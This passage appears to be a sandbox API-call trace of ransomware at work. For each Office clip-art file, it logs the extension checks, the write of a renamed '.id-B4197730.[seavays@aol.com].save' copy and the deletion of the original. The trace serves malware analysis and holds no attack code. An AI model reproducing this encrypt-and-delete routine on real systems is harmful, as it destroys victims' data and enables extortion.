[0184.625] lstrlenW (lpString=".7z") returned 3 [0184.625] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0184.625] lstrlenW (lpString=".dbf") returned 4 [0184.625] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0184.625] lstrlenW (lpString=".1cd") returned 4 [0184.625] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0184.625] lstrlenW (lpString=".jpg") returned 4 [0184.626] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0184.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0184.626] lstrlenW (lpString=".doc") returned 4 [0184.626] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.626] lstrlenW (lpString=".docx") returned 5 [0184.626] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0184.626] lstrlenW (lpString=".pdf") returned 4 [0184.626] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.626] lstrlenW (lpString=".xls") returned 4 [0184.626] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.626] lstrlenW (lpString=".xlsx") returned 5 [0184.626] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0184.626] lstrlenW (lpString=".ppt") returned 4 [0184.626] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0184.626] lstrlenW (lpString=".zip") returned 4 [0184.626] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.626] lstrlenW (lpString=".rar") returned 4 [0184.626] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.626] lstrlenW (lpString=".bz2") returned 4 [0184.626] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.627] lstrlenW (lpString=".7z") returned 3 [0184.627] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0184.627] lstrlenW (lpString=".dbf") returned 4 [0184.627] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0184.627] lstrlenW (lpString=".1cd") returned 4 [0184.627] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0184.627] lstrlenW (lpString=".jpg") returned 4 [0184.627] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.627] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0184.627] lstrlenW (lpString="J0152722.WMF") returned 12 [0184.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152722.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0184.630] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=7020) returned 1 [0184.630] CloseHandle (hObject=0x534) returned 1 [0184.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152722.wmf")) returned 0x220 [0184.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152722.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0184.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152722.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0184.632] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.632] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152722.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0184.633] GetLastError () returned 0x0 [0184.633] ReadFile (in: hFile=0x534, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x1b6c, lpOverlapped=0x0) returned 1 [0184.635] WriteFile (in: hFile=0x378, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x1b70, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x1b70, lpOverlapped=0x0) returned 1 [0184.638] ReadFile (in: hFile=0x534, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.638] WriteFile (in: hFile=0x378, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.638] SetEndOfFile (hFile=0x378) returned 1 [0184.638] CloseHandle (hObject=0x378) returned 1 [0184.638] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.638] SetEndOfFile (hFile=0x534) returned 1 [0184.642] CloseHandle (hObject=0x534) returned 1 [0184.642] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0184.643] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152722.wmf")) returned 1 [0184.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0184.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0184.644] lstrlenW (lpString=".doc") returned 4 [0184.645] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.645] lstrlenW (lpString=".docx") returned 5 [0184.645] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0184.645] lstrlenW (lpString=".pdf") returned 4 [0184.645] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.645] lstrlenW (lpString=".xls") returned 4 [0184.645] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.645] lstrlenW (lpString=".xlsx") returned 5 [0184.645] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0184.645] lstrlenW (lpString=".ppt") returned 4 [0184.645] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0184.645] lstrlenW (lpString=".zip") returned 4 [0184.645] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.645] lstrlenW (lpString=".rar") returned 4 [0184.645] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.645] lstrlenW (lpString=".bz2") returned 4 [0184.645] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.645] lstrlenW (lpString=".7z") returned 3 [0184.645] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0184.645] lstrlenW (lpString=".dbf") returned 4 [0184.646] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0184.646] lstrlenW (lpString=".1cd") returned 4 [0184.646] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0184.646] lstrlenW (lpString=".jpg") returned 4 [0184.646] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0184.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0184.646] lstrlenW (lpString=".doc") returned 4 [0184.646] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.646] lstrlenW (lpString=".docx") returned 5 [0184.646] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0184.646] lstrlenW (lpString=".pdf") returned 4 [0184.646] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.646] lstrlenW (lpString=".xls") returned 4 [0184.646] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.646] lstrlenW (lpString=".xlsx") returned 5 [0184.646] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0184.646] lstrlenW (lpString=".ppt") returned 4 [0184.646] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0184.647] lstrlenW (lpString=".zip") returned 4 [0184.647] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.647] lstrlenW (lpString=".rar") returned 4 [0184.647] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.647] lstrlenW (lpString=".bz2") returned 4 [0184.647] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.647] lstrlenW (lpString=".7z") returned 3 [0184.647] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0184.647] lstrlenW (lpString=".dbf") returned 4 [0184.647] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0184.647] lstrlenW (lpString=".1cd") returned 4 [0184.647] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0184.647] lstrlenW (lpString=".jpg") returned 4 [0184.647] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.648] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0184.648] lstrlenW (lpString="J0152876.WMF") returned 12 [0184.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0184.650] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=7876) returned 1 [0184.650] CloseHandle (hObject=0x534) returned 1 [0184.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf")) returned 0x220 [0184.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0184.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0184.651] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.651] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0184.930] GetLastError () returned 0x0 [0184.930] ReadFile (in: hFile=0x534, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x1ec4, lpOverlapped=0x0) returned 1 [0184.934] WriteFile (in: hFile=0x530, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x1ed0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x1ed0, lpOverlapped=0x0) returned 1 [0184.936] ReadFile (in: hFile=0x534, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.936] WriteFile (in: hFile=0x530, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.936] SetEndOfFile (hFile=0x530) returned 1 [0184.936] CloseHandle (hObject=0x530) returned 1 [0184.936] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.936] SetEndOfFile (hFile=0x534) returned 1 [0184.945] CloseHandle (hObject=0x534) returned 1 [0184.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0184.948] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf")) returned 1 [0184.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0184.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0184.950] lstrlenW (lpString=".doc") returned 4 [0184.950] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.950] lstrlenW (lpString=".docx") returned 5 [0184.950] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0184.950] lstrlenW (lpString=".pdf") returned 4 [0184.950] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.950] lstrlenW (lpString=".xls") returned 4 [0184.950] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.950] lstrlenW (lpString=".xlsx") returned 5 [0184.950] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0184.950] lstrlenW (lpString=".ppt") returned 4 [0184.950] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0184.950] lstrlenW (lpString=".zip") returned 4 [0184.950] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.950] lstrlenW (lpString=".rar") returned 4 [0184.950] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.950] lstrlenW (lpString=".bz2") returned 4 [0184.950] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.950] lstrlenW (lpString=".7z") returned 3 [0184.951] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0184.951] lstrlenW (lpString=".dbf") returned 4 [0184.951] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0184.951] lstrlenW (lpString=".1cd") returned 4 [0184.951] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0184.951] lstrlenW (lpString=".jpg") returned 4 [0184.951] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0184.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0184.951] lstrlenW (lpString=".doc") returned 4 [0184.951] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.951] lstrlenW (lpString=".docx") returned 5 [0184.951] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0184.951] lstrlenW (lpString=".pdf") returned 4 [0184.951] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.951] lstrlenW (lpString=".xls") returned 4 [0184.951] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.951] lstrlenW (lpString=".xlsx") returned 5 [0184.952] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0184.952] lstrlenW (lpString=".ppt") returned 4 [0184.952] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0184.952] lstrlenW (lpString=".zip") returned 4 [0184.952] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.952] lstrlenW (lpString=".rar") returned 4 [0184.952] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.952] lstrlenW (lpString=".bz2") returned 4 [0184.952] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.952] lstrlenW (lpString=".7z") returned 3 [0184.952] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0184.952] lstrlenW (lpString=".dbf") returned 4 [0184.952] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0184.952] lstrlenW (lpString=".1cd") returned 4 [0184.952] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0184.952] lstrlenW (lpString=".jpg") returned 4 [0184.952] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.953] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0184.953] lstrlenW (lpString="J0152892.WMF") returned 12 [0184.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152892.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0184.955] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=10668) returned 1 [0184.955] CloseHandle (hObject=0x534) returned 1 [0184.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152892.wmf")) returned 0x220 [0184.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152892.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0184.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152892.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0184.956] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.957] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152892.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0184.958] GetLastError () returned 0x0 [0184.958] ReadFile (in: hFile=0x534, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x29ac, lpOverlapped=0x0) returned 1 [0184.960] WriteFile (in: hFile=0x530, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x29b0, lpOverlapped=0x0) returned 1 [0184.962] ReadFile (in: hFile=0x534, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.962] WriteFile (in: hFile=0x530, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.962] SetEndOfFile (hFile=0x530) returned 1 [0184.962] CloseHandle (hObject=0x530) returned 1 [0184.963] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.963] SetEndOfFile (hFile=0x534) returned 1 [0184.967] CloseHandle (hObject=0x534) returned 1 [0184.967] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0184.967] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152892.wmf")) returned 1 [0184.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68 [0184.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68 [0184.969] lstrlenW (lpString=".doc") returned 4 [0184.969] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.969] lstrlenW (lpString=".docx") returned 5 [0184.969] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0184.969] lstrlenW (lpString=".pdf") returned 4 [0184.969] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.969] lstrlenW (lpString=".xls") returned 4 [0184.969] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.969] lstrlenW (lpString=".xlsx") returned 5 [0184.969] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0184.969] lstrlenW (lpString=".ppt") returned 4 [0184.969] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68 [0184.969] lstrlenW (lpString=".zip") returned 4 [0184.974] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.974] lstrlenW (lpString=".rar") returned 4 [0184.974] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.975] lstrlenW (lpString=".bz2") returned 4 [0184.975] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.975] lstrlenW (lpString=".7z") returned 3 [0184.975] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68 [0184.975] lstrlenW (lpString=".dbf") returned 4 [0184.975] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68 [0184.975] lstrlenW (lpString=".1cd") returned 4 [0184.975] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.975] lstrlenW (lpString="C:\\Program Files\\Microsoft 